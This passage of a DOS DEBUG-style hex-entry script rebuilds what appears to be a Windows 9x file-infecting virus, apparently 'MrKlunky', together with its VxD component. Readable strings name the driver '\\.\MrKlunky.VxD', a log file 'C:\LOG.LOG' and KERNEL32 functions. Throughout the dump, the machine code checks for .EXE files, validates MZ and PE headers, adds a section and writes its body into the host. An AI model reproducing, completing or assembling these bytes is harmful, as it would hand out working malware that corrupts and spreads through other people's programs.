A2 01 01 C5 04 07 00 8C +E 0310 01 01 49 08 07 00 87 01 01 C1 04 07 00 0B 00 01 +E 0320 E6 04 07 00 27 01 01 69 05 07 00 A8 00 01 E2 04 +E 0330 07 00 8F 00 01 DD 04 27 00 04 01 E6 04 77 00 84 +E 0340 00 F9 00 47 01 07 00 2C 00 01 DE 04 07 00 26 00 +E 0350 01 49 08 27 00 02 01 C9 04 13 00 32 00 07 00 0D +E 0360 00 01 74 05 04 00 00 00 06 00 00 00 0C 00 00 00 +E 0370 02 00 00 00 02 00 00 00 02 00 00 00 04 00 00 00 +E 0380 06 00 00 00 08 00 00 00 02 00 00 00 00 00 00 00 +E 0390 02 00 00 00 04 00 00 00 02 00 00 00 04 00 00 00 +E 03A0 02 00 00 00 04 00 00 00 04 00 00 00 04 00 00 00 +E 03B0 02 00 00 00 02 00 00 00 02 00 00 00 04 00 00 00 +E 03C0 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00 +E 03D0 02 00 00 00 02 00 00 00 04 00 00 00 04 00 00 00 +E 03E0 02 00 00 00 00 00 00 00 04 00 00 00 FF FF FF FF +E 03F0 04 00 00 00 FF FF FF FF 04 00 00 00 FF FF FF FF +E 0400 04 00 00 00 FF FF FF FF 06 00 00 00 FF FF FF FF +E 0410 08 00 00 00 FF FF FF FF 08 00 00 00 FF FF FF FF +E 0420 1A 00 00 00 FF FF FF FF 08 00 00 00 0A 00 00 00 +E 0430 FF FF FF FF 00 00 00 00 08 00 00 00 FF FF FF FF +E 0440 08 00 00 00 FF FF FF FF 0A 00 00 00 FF FF FF FF +E 0450 22 00 00 00 FF FF FF FF 0A 00 00 00 0C 00 00 00 +E 0460 FF FF FF FF 00 00 00 00 0A 00 00 00 FF FF FF FF +E 0470 0A 00 00 00 FF FF FF FF 32 00 00 00 FF FF FF FF +E 0480 01 00 00 00 00 00 00 00 01 00 00 00 20 12 31 10 +E 0490 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 +E 04A0 05 00 00 00 00 00 00 00 00 E2 30 10 00 00 00 00 +E 04B0 03 00 00 00 00 00 00 00 02 00 00 00 28 12 31 10 +E 04C0 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 +E 04D0 03 00 00 00 30 12 31 10 00 00 00 00 00 00 00 00 +E 04E0 05 00 00 00 00 00 00 00 03 00 00 00 40 12 31 10 +E 04F0 00 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 +E 0500 01 00 00 00 4C 12 31 10 00 00 00 00 00 00 00 00 +E 0510 07 00 00 00 00 00 00 00 02 00 00 00 50 12 31 10 +E 0520 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 +E 0530 02 00 00 00 58 12 31 10 00 00 00 00 00 00 00 00 +E 0540 09 00 00 00 00 00 00 00 04 00 00 00 60 12 31 10 +E 0550 00 00 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 +E 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0570 0B 00 00 00 00 00 00 00 01 00 00 00 70 12 31 10 +E 0580 00 00 00 00 00 00 00 00 0C 00 00 00 00 00 00 00 +E 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 05A0 0D 00 00 00 00 00 00 00 01 00 00 00 74 12 31 10 +E 05B0 00 00 00 00 00 00 00 00 0E 00 00 00 00 00 00 00 +E 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 05D0 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 05E0 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 +E 05F0 02 00 00 00 78 12 31 10 00 00 00 00 00 00 00 00 +E 0600 12 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 +E 0610 80 E3 30 10 00 00 00 00 13 00 00 00 00 00 00 00 +E 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0630 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0640 00 00 00 00 00 00 00 00 15 00 00 00 00 00 00 00 +E 0650 06 00 00 00 80 12 31 10 00 00 00 00 00 00 00 00 +E 0660 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0670 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 +E 0680 01 00 00 00 88 12 31 10 00 00 00 00 00 00 00 00 +E 0690 01 02 00 00 00 00 00 00 06 00 00 00 90 12 31 10 +E 06A0 00 00 00 00 00 00 00 00 05 02 00 00 00 00 00 00 +E 06B0 06 00 00 00 98 12 31 10 00 00 00 00 00 00 00 00 +E 06C0 02 02 00 00 00 00 00 00 01 00 00 00 A0 12 31 10 +E 06D0 00 00 00 00 00 00 00 00 03 02 00 00 00 00 00 00 +E 06E0 05 00 00 00 00 00 00 00 F0 E2 30 10 00 00 00 00 +E 06F0 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0700 00 00 00 00 00 00 00 00 07 02 00 00 00 00 00 00 +E 0710 05 00 00 00 00 00 00 00 20 E3 30 10 00 00 00 00 +E 0720 06 02 00 00 00 00 00 00 01 00 00 00 A4 12 31 10 +E 0730 00 00 00 00 00 00 00 00 08 02 00 00 00 00 00 00 +E 0740 01 00 00 00 A8 12 31 10 00 00 00 00 00 00 00 00 +E 0750 09 02 00 00 00 00 00 00 01 00 00 00 A8 12 31 10 +E 0760 00 00 00 00 00 00 00 00 0A 02 00 00 00 00 00 00 +E 0770 01 00 00 00 AC 12 31 10 00 00 00 00 00 00 00 00 +E 0780 0B 02 00 00 00 00 00 00 01 00 00 00 AC 12 31 10 +E 0790 00 00 00 00 00 00 00 00 0C 02 00 00 00 00 00 00 +E 07A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 07B0 05 04 00 00 00 00 00 00 01 00 00 00 B0 12 31 10 +E 07C0 00 00 00 00 F0 D9 30 10 00 04 00 00 00 00 00 00 +E 07D0 01 00 00 00 B4 12 31 10 00 00 00 00 00 DA 30 10 +E 07E0 01 04 00 00 00 00 00 00 02 00 00 00 B8 12 31 10 +E 07F0 00 00 00 00 20 DA 30 10 02 04 00 00 00 00 00 00 +E 0800 02 00 00 00 B8 12 31 10 00 00 00 00 20 DA 30 10 +E 0810 0B 04 00 00 00 00 00 00 01 00 00 00 C0 12 31 10 +E 0820 00 00 00 00 40 DA 30 10 04 04 00 00 00 00 00 00 +E 0830 01 00 00 00 C4 12 31 10 00 00 00 00 50 DA 30 10 +E 0840 06 04 00 00 00 00 00 00 01 00 00 00 C8 12 31 10 +E 0850 00 00 00 00 70 DA 30 10 07 04 00 00 00 00 00 00 +E 0860 01 00 00 00 CC 12 31 10 00 00 00 00 90 DA 30 10 +E 0870 0A 04 00 00 00 00 00 00 01 00 00 00 D0 12 31 10 +E 0880 00 00 00 00 B0 DA 30 10 0D 04 00 00 00 00 00 00 +E 0890 01 00 00 00 D4 12 31 10 00 00 00 00 C0 DA 30 10 +E 08A0 08 04 00 00 00 00 00 00 01 00 00 00 D8 12 31 10 +E 08B0 00 00 00 00 D0 DA 30 10 0C 04 00 00 00 00 00 00 +E 08C0 01 00 00 00 DC 12 31 10 00 00 00 00 F0 DA 30 10 +E 08D0 03 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 08E0 00 00 00 00 00 DB 30 10 09 04 00 00 00 00 00 00 +E 08F0 01 00 00 00 E0 12 31 10 00 00 00 00 20 DB 30 10 +E 0900 02 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 +E 0910 00 00 00 00 01 00 00 00 E8 12 31 10 0C 00 00 00 +E 0920 00 00 00 00 00 00 00 00 20 E6 30 10 00 00 00 00 +E 0930 01 00 00 00 F0 12 31 10 03 00 00 00 00 00 00 00 +E 0940 08 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 +E 0950 F8 12 31 10 04 00 00 00 00 00 00 00 06 00 00 00 +E 0960 00 00 00 00 01 00 00 00 01 00 00 00 00 13 31 10 +E 0970 0B 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 +E 0980 01 00 00 00 01 00 00 00 00 13 31 10 05 00 00 00 +E 0990 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 +E 09A0 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 +E 09B0 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 +E 09C0 00 00 00 00 09 00 00 00 00 00 00 00 08 00 00 00 +E 09D0 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 +E 09E0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 09F0 01 00 00 00 00 00 00 00 00 00 00 00 0A 00 00 00 +E 0A00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0A10 00 00 00 00 00 00 00 00 0D 00 00 00 00 00 00 00 +E 0A20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0A30 00 00 00 00 0E 00 00 00 00 00 00 00 00 00 00 00 +E 0A40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0A50 00 01 00 00 00 00 00 00 08 00 00 00 00 00 00 00 +E 0A60 00 00 00 00 01 00 00 00 08 13 31 10 01 01 00 00 +E 0A70 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 +E 0A80 01 00 00 00 10 13 31 10 02 01 00 00 00 00 00 00 +E 0A90 0A 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 +E 0AA0 18 13 31 10 04 01 00 00 00 00 00 00 1D 00 00 00 +E 0AB0 00 00 00 00 00 00 00 00 01 00 00 00 20 13 31 10 +E 0AC0 05 01 00 00 00 00 00 00 1D 00 00 00 00 00 00 00 +E 0AD0 01 00 00 00 01 00 00 00 20 13 31 10 06 01 00 00 +E 0AE0 00 00 00 00 17 00 00 00 00 00 00 00 01 00 00 00 +E 0AF0 00 00 00 00 00 00 00 00 09 01 00 00 00 00 00 00 +E 0B00 09 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 +E 0B10 00 00 00 00 07 01 00 00 00 00 00 00 12 00 00 00 +E 0B20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0B30 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0B40 00 00 00 00 00 00 00 00 00 00 00 00 0A 01 00 00 +E 0B50 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 +E 0B60 00 00 00 00 00 00 00 00 0A 02 00 00 00 00 00 00 +E 0B70 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 +E 0B80 00 00 00 00 0B 01 00 00 00 00 00 00 00 00 00 00 +E 0B90 00 00 00 00 01 00 00 00 02 00 00 00 28 13 31 10 +E 0BA0 0C 01 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 +E 0BB0 00 00 00 00 01 00 00 00 38 13 31 10 00 02 00 00 +E 0BC0 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 +E 0BD0 01 00 00 00 40 13 31 10 01 02 00 00 00 00 00 00 +E 0BE0 0C 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 +E 0BF0 48 13 31 10 02 02 00 00 00 00 00 00 0C 00 00 00 +E 0C00 00 00 00 00 01 00 00 00 01 00 00 00 48 13 31 10 +E 0C10 03 02 00 00 00 00 00 00 0C 00 00 00 00 00 00 00 +E 0C20 01 00 00 00 01 00 00 00 48 13 31 10 05 02 00 00 +E 0C30 00 00 00 00 25 00 00 00 00 00 00 00 01 00 00 00 +E 0C40 01 00 00 00 50 13 31 10 04 02 00 00 00 00 00 00 +E 0C50 25 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 +E 0C60 50 13 31 10 06 02 00 00 00 00 00 00 19 00 00 00 +E 0C70 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 +E 0C80 09 02 00 00 00 00 00 00 0B 00 00 00 00 00 00 00 +E 0C90 01 00 00 00 00 00 00 00 00 00 00 00 07 02 00 00 +E 0CA0 00 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 +E 0CB0 00 00 00 00 00 00 00 00 08 02 00 00 00 00 00 00 +E 0CC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0CD0 00 00 00 00 0B 02 00 00 00 00 00 00 00 00 00 00 +E 0CE0 00 00 00 00 01 00 00 00 02 00 00 00 58 13 31 10 +E 0CF0 0C 02 00 00 00 00 00 00 0C 00 00 00 00 00 00 00 +E 0D00 00 00 00 00 01 00 00 00 68 13 31 10 0D 02 00 00 +E 0D10 00 00 00 00 0C 00 00 00 00 00 00 00 00 00 00 00 +E 0D20 01 00 00 00 70 13 31 10 0E 02 00 00 00 00 00 00 +E 0D30 0C 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 +E 0D40 70 13 31 10 01 03 00 00 00 00 00 00 36 00 00 00 +E 0D50 00 00 00 00 01 00 00 00 01 00 00 00 78 13 31 10 +E 0D60 00 03 00 00 00 00 00 00 36 00 00 00 00 00 00 00 +E 0D70 00 00 00 00 01 00 00 00 78 13 31 10 00 04 00 00 +E 0D80 00 00 00 00 00 00 00 00 70 E6 30 10 01 00 00 00 +E 0D90 00 00 00 00 00 00 00 00 03 04 00 00 00 00 00 00 +E 0DA0 00 00 00 00 70 E6 30 10 00 00 00 00 00 00 00 00 +E 0DB0 00 00 00 00 01 04 00 00 00 00 00 00 00 00 00 00 +E 0DC0 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 +E 0DD0 0F 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0DE0 00 00 00 00 00 00 00 00 00 00 00 00 2E 2E 5C 73 +E 0DF0 72 63 5C 63 76 72 5C 74 69 69 2E 63 70 70 00 00 +E 0E00 FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E10 40 10 30 10 80 96 30 10 00 E8 30 10 00 00 00 00 +E 0E20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0E90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0EA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0EB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0EC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0ED0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0EE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0EF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0F90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 0FF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 10F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1100 00 00 00 00 00 04 0D D0 01 01 00 00 4D 52 4B 4C +E 1110 55 4E 4B 59 00 00 00 80 00 00 00 00 00 00 00 00 +E 1120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 1130 00 00 00 00 00 00 00 00 00 00 00 00 76 65 72 50 +E 1140 50 00 00 00 31 76 73 52 32 76 73 52 33 76 73 52 +E 1150 83 F8 02 74 19 83 F8 1B 74 14 83 F8 1C 0F 84 90 +E 1160 00 00 00 83 F8 05 0F 84 87 00 00 00 F8 C3 CD 20 +E 1170 B6 00 01 00 E8 9C 00 00 00 73 19 CD 20 B7 00 01 +E 1180 00 E8 8F 00 00 00 73 0C BE 00 00 00 00 E8 D7 00 +E 1190 00 00 72 5D B8 00 D8 00 00 CD 20 32 00 40 00 72 +E 11A0 45 A3 00 00 00 00 66 A3 00 00 00 00 91 E8 DC 00 +E 11B0 00 00 74 32 89 35 00 00 00 00 E8 06 01 00 00 72 +E 11C0 25 B8 00 D7 00 00 CD 20 32 00 40 00 B8 00 00 00 +E 11D0 00 50 CD 20 67 00 40 00 83 C4 04 A3 00 00 00 00 +E 11E0 0B C0 74 0D F8 C3 B8 00 D7 00 00 CD 20 32 00 40 +E 11F0 00 F9 C3 8B 35 00 00 00 00 E8 A6 00 00 00 B8 00 +E 1200 00 00 00 50 CD 20 68 00 40 00 83 C4 04 0B C0 75 +E 1210 02 F8 C3 F9 C3 B9 E8 03 00 00 8B FA 32 C0 F2 AE +E 1220 2B FA 57 52 B9 E8 03 00 00 E8 60 00 00 00 5F 59 +E 1230 74 36 60 87 F7 57 51 F3 A4 59 5F 51 32 C0 F2 AE +E 1240 58 2B C1 91 B0 5C FD F2 AE FC 83 C7 02 BE 00 00 +E 1250 00 00 B9 0D 00 00 00 F3 A4 61 E8 0A 00 00 00 66 +E 1260 9C E8 3E 00 00 00 66 9D C3 BB 00 FF 00 00 BA 01 +E 1270 00 00 00 EB 0A BB 02 FF 00 00 BA 11 00 00 00 B8 +E 1280 01 D5 00 00 33 C9 CD 20 32 00 40 00 93 C3 51 68 +E 1290 00 02 00 00 51 CD 20 4F 00 01 00 83 C4 08 83 F8 +E 12A0 00 96 59 C3 6A 00 56 CD 20 51 00 01 00 83 C4 08 +E 12B0 C3 51 6A 04 51 56 CD 20 50 00 01 00 83 C4 0C 96 +E 12C0 83 FE 00 59 C3 33 D2 B8 00 D6 00 00 CD 20 32 00 +E 12D0 40 00 C3 55 8B EC 83 EC 20 53 51 80 3D 00 00 00 +E 12E0 00 00 0F 85 AC 02 00 00 C6 05 00 00 00 00 01 83 +E 12F0 7D 0C 24 0F 85 94 02 00 00 B9 E8 03 00 00 E8 8B +E 1300 FF FF FF 0F 84 84 02 00 00 89 35 00 00 00 00 8B +E 1310 DE BA E7 03 00 00 8B 4D 10 80 F9 FF 74 0D 83 EA +E 1320 02 80 C1 40 88 0B 43 C6 03 3A 43 33 C9 51 52 8B +E 1330 45 1C 8B 48 0C 83 C1 04 51 53 CD 20 41 00 40 00 +E 1340 83 C4 10 8B FE 32 C0 B9 E8 03 00 00 F2 AE 0B C9 +E 1350 0F 84 2C 02 00 00 81 7F FB 2E 45 58 45 0F 85 1F +E 1360 02 00 00 B8 00 43 00 00 CD 20 32 00 40 00 0F 82 +E 1370 0E 02 00 00 51 B8 01 43 00 00 33 C9 CD 20 32 00 +E 1380 40 00 0F 82 E8 01 00 00 E8 E8 FE FF FF 0F 82 DD +E 1390 01 00 00 B9 40 00 00 00 E8 F1 FE FF FF 0F 84 BD +E 13A0 01 00 00 E8 1D FF FF FF 0F 82 B2 01 00 00 B8 00 +E 13B0 D8 00 00 CD 20 32 00 40 00 0F 82 A1 01 00 00 66 +E 13C0 81 3E 4D 5A 0F 85 96 01 00 00 81 7E 28 00 0F F0 +E 13D0 00 0F 84 89 01 00 00 8B 4E 3C 83 F9 00 0F 84 7D +E 13E0 01 00 00 3B C8 0F 8F 75 01 00 00 8B F9 83 C1 77 +E 13F0 E8 BC FE FF FF 0F 84 65 01 00 00 E8 C5 FE FF FF +E 1400 0F 82 5A 01 00 00 81 3C 37 50 45 00 00 0F 85 4D +E 1410 01 00 00 8B 4C 37 54 E8 95 FE FF FF 0F 84 3E 01 +E 1420 00 00 E8 9E FE FF FF 0F 82 33 01 00 00 C7 46 28 +E 1430 00 0F F0 00 33 C9 66 8B 4C 37 14 03 CF 83 C1 18 +E 1440 2B C1 51 33 D2 B9 28 00 00 00 F7 F1 33 D2 66 8B +E 1450 54 37 06 3B C2 0F 8E 05 01 00 00 81 FA FF FF 00 +E 1460 00 0F 8D F9 00 00 00 66 FF 44 37 06 92 F7 E1 59 +E 1470 03 C8 60 03 CE 8B 41 E4 03 41 E0 8B 5C 37 38 33 +E 1480 D2 F7 F3 40 F7 E3 A3 00 00 00 00 A1 00 00 00 00 +E 1490 05 8F 05 00 00 50 8B 5C 37 3C 33 D2 F7 F3 40 F7 +E 14A0 E3 A3 00 00 00 00 58 50 8B 5C 37 38 33 D2 F7 F3 +E 14B0 40 F7 E3 A3 00 00 00 00 8B 41 EC 03 41 E8 A3 00 +E 14C0 00 00 00 58 03 44 37 50 89 44 37 50 8B 41 E4 03 +E 14D0 41 E0 8B 5C 37 38 33 D2 F7 F3 40 F7 E3 FF 74 37 +E 14E0 28 5B 2B C3 05 07 00 00 00 A3 00 00 00 00 61 60 +E 14F0 56 57 87 F7 03 F9 BE 00 00 00 00 B9 0A 00 00 00 +E 1500 F3 A5 B8 01 D6 00 00 B9 8F 05 00 00 BE 00 00 00 +E 1510 00 8B 15 00 00 00 00 CD 20 32 00 40 00 72 3E B8 +E 1520 01 D6 00 00 8B 0D 00 00 00 00 8B 35 00 00 00 00 +E 1530 8B 15 00 00 00 00 81 C2 8F 05 00 00 CD 20 32 00 +E 1540 40 00 72 19 B8 01 D6 00 00 5F 5E 8B 4C 37 54 33 +E 1550 D2 CD 20 32 00 40 00 61 E9 8D 00 00 00 58 58 61 +E 1560 E8 3F FD FF FF B8 00 D7 00 00 CD 20 32 00 40 00 +E 1570 B8 01 43 00 00 8B 35 00 00 00 00 59 CD 20 32 00 +E 1580 40 00 8B 35 00 00 00 00 E8 17 FD FF FF C6 05 00 +E 1590 00 00 00 00 B9 06 00 00 00 BB 1C 00 00 00 8B 04 +E 15A0 2B 50 83 EB 04 E2 F7 A1 00 00 00 00 FF 10 59 5B +E 15B0 83 C4 18 C9 C3 4D 72 4B 6C 75 6E 6B 79 00 00 00 +E 15C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +E 15D0 00 00 00 00 00 00 00 00 00 60 00 00 E0 00 00 00 +E 15E0 00 00 00 00 00 00 00 00 00 00 B8 00 D7 00 00 CD +E 15F0 20 32 00 40 00 9C 60 8B 3D 00 00 00 00 32 C0 B9 +E 1600 E8 03 00 00 F2 AE 0B C9 74 53 B0 0D AA B8 E8 03 +E 1610 00 00 2B C1 40 50 B8 01 D5 00 00 B3 02 B7 FF 66 +E 1620 33 C9 B2 11 32 F6 BE 00 00 00 00 CD 20 32 00 40 +E 1630 00 72 2A 93 B8 00 D8 00 00 CD 20 32 00 40 00 92 +E 1640 B8 03 D6 00 00 8B 35 00 00 00 00 59 CD 20 32 00 +E 1650 40 00 B8 00 D7 00 00 CD 20 32 00 40 00 61 9D E8 +E 1660 40 FC FF FF E9 07 FF FF FF 43 3A 5C 4C 4F 47 2E +E 1670 4C 4F 47 00 50 60 E8 00 00 00 00 5D BF 00 00 F7 +E 1680 BF B9 00 10 00 00 B8 50 45 00 00 F2 AE 0F 85 E3 +E 1690 01 00 00 39 47 FF 75 F3 4F 66 81 7F 04 4C 01 75 +E 16A0 EA 66 83 7F 14 00 74 E3 66 8B 5F 16 66 81 E3 00 +E 16B0 F0 66 81 FB 00 20 75 D3 81 7F 34 00 00 F7 BF 7C +E 16C0 CA 8B 47 34 89 85 09 05 00 00 33 C0 66 8B 47 14 +E 16D0 03 C7 83 C0 18 66 8B 4F 06 81 38 2E 65 64 61 75 +E 16E0 09 81 78 04 74 61 00 00 74 10 83 C0 28 66 49 66 +E 16F0 83 F9 00 75 E4 E9 7C 01 00 00 8B 58 0C 03 9D 09 +E 1700 05 00 00 8B 7B 20 03 BD 09 05 00 00 8B 4B 14 2B +E 1710 4B 18 B8 04 00 00 00 F7 E1 89 85 11 05 00 00 8B +E 1720 4B 18 B8 04 00 00 00 F7 E1 91 87 FA 83 E9 04 8B +E 1730 FA 03 F9 8B 3F 03 BD 09 05 00 00 8D B5 5C 05 00 +E 1740 00 8D 85 58 05 00 00 E8 36 01 00 00 8D B5 73 05 +E 1750 00 00 8D 85 6F 05 00 00 E8 25 01 00 00 83 F9 00 +E 1760 75 CA 83 BD 58 05 00 00 00 0F 84 07 01 00 00 83 +E 1770 BD 6F 05 00 00 00 0F 84 FA 00 00 00 8D 85 3F 03 +E 1780 00 00 50 8B 85 6F 05 00 00 FF D0 89 85 0D 05 00 +E 1790 00 83 F8 00 0F 84 DC 00 00 00 8D 85 7E 03 00 00 +E 17A0 E8 44 01 00 00 73 11 8D 85 92 03 00 00 E8 37 01 +E 17B0 00 00 0F 82 BE 00 00 00 33 DB 33 FF 8D B5 2E 03 +E 17C0 00 00 E8 FE 00 00 00 8D 85 BE 03 00 00 50 8B 85 +E 17D0 6F 05 00 00 FF D0 89 85 0D 05 00 00 83 F8 00 0F +E 17E0 84 91 00 00 00 8D 85 D3 03 00 00 E8 BA 00 00 00 +E 17F0 0F 82 80 00 00 00 8D 9D 11 05 00 00 53 8D 9D 15 +E 1800 05 00 00 53 6A 00 68 3F 00 0F 00 6A 00 6A 00 6A +E 1810 00 8D 9D 1F 05 00 00 53 68 02 00 00 80 FF D0 83 +E 1820 F8 00 75 52 8B 9D 15 05 00 00 8D 85 E3 03 00 00 +E 1830 E8 75 00 00 00 72 2F 97 6A 01 8D 85 3E 03 00 00 +E 1840 50 6A 03 6A 00 8D 85 19 05 00 00 50 53 FF D7 6A +E 1850 0D 8D 85 32 03 00 00 50 6A 01 6A 00 8D 85 4E 05 +E 1860 00 00 50 53 FF D7 8D 85 C7 03 00 00 E8 39 00 00 +E 1870 00 72 03 53 FF D0 81 ED 00 00 00 00 89 6C 24 20 +E 1880 61 C3 60 8B 0E 83 C6 04 F3 A6 61 75 1C 96 8B 43 +E 1890 1C 03 85 11 05 00 00 03 85 09 05 00 00 03 C1 8B +E 18A0 00 03 85 09 05 00 00 89 06 C3 50 8B 85 0D 05 00 +E 18B0 00 50 FF 95 58 05 00 00 83 F8 00 75 01 F9 C3 8D +E 18C0 B5 F2 03 00 00 8D 85 54 03 00 00 E8 DA FF FF FF +E 18D0 72 15 6A 00 6A 27 53 6A 00 6A 00 57 56 FF D0 83 +E 18E0 F8 FF 74 03 93 F8 C3 F9 C3 E8 BC FF FF FF 0F 82 +E 18F0 B3 00 00 00 BB 13 01 00 00 53 8D BD F2 03 00 00 +E 1900 57 FF D0 3B C3 0F 8F 9C 00 00 00 03 F8 80 7F FF +E 1910 5C 75 01 4F 8D B5 31 03 00 00 B9 0E 00 00 00 F3 +E 1920 A4 BB 01 00 00 00 BF 00 00 00 C0 E8 8F FF FF FF +E 1930 72 75 8D 85 B4 03 00 00 E8 6D FF FF FF 72 68 6A +E 1940 00 8D BD 05 05 00 00 57 68 00 00 00 00 8D BD 88 +E 1950 05 00 00 57 53 FF D0 66 81 BD 05 05 00 00 00 00 +E 1960 74 02 33 C0 97 8D 85 A7 03 00 00 E8 3A FF FF FF +E 1970 72 35 53 FF D0 96 8D 85 60 03 00 00 E8 29 FF FF +E 1980 FF 72 24 53 FF D0 8D 85 48 03 00 00 E8 19 FF FF +E 1990 FF 72 14 53 FF D0 83 F8 00 74 0C 83 FE 00 74 07 +E 19A0 83 FF 00 74 02 F8 C3 F9 C3 5C 5C 2E 5C 4D 72 4B +E 19B0 6C 75 6E 6B 79 2E 56 78 44 00 4B 45 52 4E 45 4C +E 19C0 33 32 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 43 +E 19D0 72 65 61 74 65 46 69 6C 65 41 00 46 6C 75 73 68 +E 19E0 46 69 6C 65 42 75 66 66 65 72 73 00 47 65 74 4C +E 19F0 61 73 74 45 72 72 6F 72 00 47 65 74 53 79 73 74 +E 1A00 65 6D 